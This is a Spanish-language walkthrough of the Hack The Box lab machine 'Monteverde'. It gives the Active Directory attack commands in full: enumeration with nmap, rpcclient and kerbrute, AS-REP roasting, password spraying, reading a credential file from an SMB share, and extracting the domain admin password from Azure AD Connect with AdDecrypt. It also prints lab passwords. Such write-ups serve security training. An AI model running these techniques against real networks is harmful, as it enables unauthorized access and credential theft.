Monteverde

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Windows | Medium | 11 Enero 2020 | egre55 |
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.10.172 -oG open_ports -vvv
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p53,88,135,139,389,445,464,593,3268,3269,5985,9389,49667,49673,49674,49676,49696,49749 -oN services_scan -vvv 10.10.10.172
Enumeración de servicios
echo "10.10.10.172 MEGABANK.LOCAL" >> /etc/hosts
Enumeración de usuarios a través de una null session usando rpcclient
rpcclient megabank.local/ -U '' -N -I 10.10.10.172 -c 'enumdomusers' | grep -oP '\[\D*?\]' | tr -d '[]' | tee users_ad.txt
Validamos los usarios usando kerbrute
.
kerbrute userenum -d megabank.local --dc 10.10.10.172 users_ad.txt
Ejecutamos un ataque de tipo ASRepRoast, pero no encontramos nada.
impacket-GetNPUsers -usersfile users_ad.txt megabank.local/ -dc-ip 10.10.10.172
Probamos si existen credenciales en las descripciones.
for user in $(cat users_ad.txt); do rpcclient -U "" -N MEGABANK.local -c "queryuser $user"; done | grep -E "User Name|Description"
Explotación inicial
Password Sparying
Podemos probar hacer este ataque para obtener credenciales validas. Como no tenemos una credencial y antes de usar un diccionario como el rockyou podemos probar utilizar la misma lista de usuarios como contraseñas. Es decir, que algunos usuarios pueden tener tanto el usuario como la contraseña igual.
nxc smb 10.10.10.172 -u users_ad.txt -p users_ad.txt
Genial, encontramos al usuario:
SABatchJobs:SABatchJobs
Enumeramos recursos compartidos, donde encontramos dos interesante que saltan a la vista azure_uploads
y users
en los cuales tenemos capacidad de lectura.
Descargamos el archivo azure.xml
smbmap -u 'SABatchJobs' -p 'SABatchJobs' -d megabank.local/ -H 10.10.10.172 -s './users$' --download 'users$/mhope/azure.xml'
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>
Descubrimos unas crendeciales:
mhope:4n0therD4y@n0th3r$
Las cuales validamos y vemos que son validas, además de tener acceso a través del protocolo winrm
.
Obtenemos la flag de user.txt
Enumeración / Movimiento lateral
Elevación de privilegios
El usuario mhope
pertenece al grupo Azure Admins
.
La enumeración muestra que Azure AD Connect
está instalado. Es posible extraer las credenciales de la cuenta que replica los cambios de directorio a Azure (en este caso el administrador de dominio por defecto).
¿Qué es Azure AD Connect?
Azure AD Connect es una herramienta proporcionada por Microsoft que se utiliza para sincronizar identidades entre el Directorio Activo local (AD) y Azure Active Directory (Azure AD). Esta herramienta es fundamental para integrar entornos locales de Active Directory con los servicios en la nube de Microsoft, como Office 365, Azure y otros servicios basados en la nube.
Aquí hay algunos puntos clave sobre Azure AD Connect:
-
Sincronización de Identidades: Azure AD Connect permite sincronizar los objetos de usuario, grupo y otros objetos de Active Directory local con Azure AD. Esto asegura que los usuarios puedan acceder a los recursos en la nube utilizando las mismas credenciales que utilizan en su entorno local.
-
Funcionalidades de Sincronización: La herramienta ofrece diversas opciones de sincronización, incluyendo la sincronización de contraseñas, la sincronización de atributos personalizados, la federación de identidades y la integración con entornos híbridos.
-
Unificación de Experiencia de Usuario: Azure AD Connect permite a los administradores proporcionar una experiencia de usuario unificada para los usuarios, independientemente de si están accediendo a recursos locales o en la nube.
-
Autenticación y Autorización: Facilita la autenticación y autorización de usuarios para acceder a los servicios y aplicaciones en la nube de Microsoft, lo que simplifica la administración de identidades y los procesos de inicio de sesión para los usuarios finales.
-
Integración de Entornos Híbridos: Es especialmente útil en entornos híbridos, donde parte de la infraestructura está local y parte está en la nube. Permite una administración centralizada de identidades en ambos entornos.
En resumen, Azure AD Connect es una herramienta esencial para integrar entornos locales de Active Directory con Azure Active Directory, proporcionando una experiencia de usuario unificada y simplificando la administración de identidades en entornos híbridos y en la nube.
Get-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\ADSync
Get-ItemProperty -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\miiserver.exe" | Format-list -Property * -Force
Durante la búsqueda en línea se identificó la herramienta AdSyncDecrypt , la cual permite extraer la contraseña de la cuenta de sincronización de AD Connect. En la documentación del repositorio se menciona que, en versiones anteriores, AD Connect almacenaba las credenciales en el Registro de Windows, mientras que en versiones más recientes se utiliza DPAPI (Data Protection API) para protegerlas.
La versión actual de AD Connect al momento de redactar esto es la 1.5.30.0, por lo que es poco probable que la instalación en el servidor aún utilice el esquema basado en el Registro. No obstante, la herramienta es compatible tanto con las versiones antiguas como con las más recientes que emplean DPAPI.
Como siguiente paso, se cargaron los archivos AdDecrypt.exe y mcrypt.dll en la máquina víctima. Luego, nos desplazamos al directorio:
C:\Program Files\Microsoft Azure AD Sync\Bin
y desde allí se ejecutó el binario para iniciar el proceso de extracción de credenciales.
AdDecrypt.exe -FullSQL_
Nos revela la contraseña del administrador.
Las validamos con netexec.
Genial son validas.
Nos conectamos y leemos la flag de root.txt
.